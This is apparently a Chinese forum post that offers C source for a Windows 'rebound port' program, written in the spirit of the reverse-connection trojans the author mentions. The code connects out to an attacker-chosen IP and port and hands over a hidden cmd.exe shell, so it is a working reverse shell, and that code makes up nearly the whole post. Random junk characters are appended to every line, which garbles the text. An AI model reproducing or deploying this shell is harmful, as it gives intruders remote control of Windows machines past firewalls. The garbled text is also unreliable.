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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h;mQ%9 Yd  
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/* ============================== +q>C}9s3  
Rebound port in Windows NT &  t @  
By wind,2006/7 rUJSzLy  
===============================*/ ygu?w7  
#include Av[|.~g  
#include LO Yyj?^7  
GO&RR}  
#pragma comment(lib,"wsock32.lib") Iclan\q#y  
'TEwU0<%  
void OutputShell(); .Jnp{Tet  
SOCKET sClient; 3k|~tVM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2{Lc^6i(t  
LVz%$Cq,0  
void main(int argc,char **argv) q@=#`746e  
{ !15@M|,OL  
WSADATA stWsaData; !IrKou)/_  
int nRet; M4$4D?  
SOCKADDR_IN stSaiClient,stSaiServer; Kk"B501  
iJ~iJ'vf  
if(argc != 3) |cBF-KNZ  
{ ;/]c^y  
printf("Useage:\n\rRebound DestIP DestPort\n"); u9[w~U#  
return; |Z +E(F  
} pRyS8'  
::h02,y;1%  
WSAStartup(MAKEWORD(2,2),&stWsaData); Ts?>"@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I.n{ "=$B@  
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stSaiClient.sin_family = AF_INET; E t[QcB3  
stSaiClient.sin_port = htons(0); hgMnO J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1Y"y!\t7G  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7H@Cy}a  
{ . KSr@Gz  
printf("Bind Socket Failed!\n"); (\[!,T"[  
return; EEnTq  
} $y |6<  
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stSaiServer.sin_family = AF_INET; _J$p <  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mZ.6Njb  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2QQYXJ^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r  E *u  
{ c`[uQXv  
printf("Connect Error!"); nCmrt*&}  
return; d~oWu [F*  
} QRc=-Wu_(  
OutputShell(); b J5z??  
} Ab|NjY:  
/Gu2@m[r  
void OutputShell() )6S}O* 1  
{ N4JL.(m){I  
char szBuff[1024]; (VF4]  
SECURITY_ATTRIBUTES stSecurityAttributes; YuZ   
OSVERSIONINFO stOsversionInfo; C{Xk/Er5<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *d*;M>  
STARTUPINFO stStartupInfo; |"(3]f\  
char *szShell; 7=[O6<+o  
PROCESS_INFORMATION stProcessInformation; J!gWRw5  
unsigned long lBytesRead; -O q=J;  
7]+'%Uwu)  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t~=@r9`S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oXOO 10  
stSecurityAttributes.lpSecurityDescriptor = 0; 4Og GZ  
stSecurityAttributes.bInheritHandle = TRUE; 6xQe!d3>s3  
fP4IOlHkE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $@!&ML  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?^A:~"~  
dg@/HLZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :a<TV9?H0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rsj}hS$  
stStartupInfo.wShowWindow = SW_HIDE; ]m,p3  
stStartupInfo.hStdInput = hReadPipe; > ]N0w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h]z|OhG  
{xx;zjt%}}  
GetVersionEx(&stOsversionInfo); SNV+.xN  
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switch(stOsversionInfo.dwPlatformId) uS10P7N}  
{ PX{~!j%n  
case 1: oN}j<6s  
szShell = "command.com"; &wC.?w$  
break; _ r)hr7  
default: ,,-3p#P bw  
szShell = "cmd.exe"; o sH,(\4_  
break; @(5RAYRV  
} 4'e8VI0  
'F<e)D?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @g5]w&o_  
2\W<EWJ@  
send(sClient,szMsg,77,0); m9i%U   
while(1) cB'4{R@e  
{ t|XC4:/>T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); by3kfY]4s  
if(lBytesRead) x \{jWR%  
{ qMj e,Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e?fjX-  
send(sClient,szBuff,lBytesRead,0); KFrmH  
} FnU;n  
else nff]Y$FB  
{ dfd%A" I  
lBytesRead=recv(sClient,szBuff,1024,0); B{u.Yc:  
if(lBytesRead<=0) break; F?4'>ZW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v~=ol8J B  
} eEFT(e5.>3  
} `Wt~6D e  
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return; mT$tAwzTC{  
}
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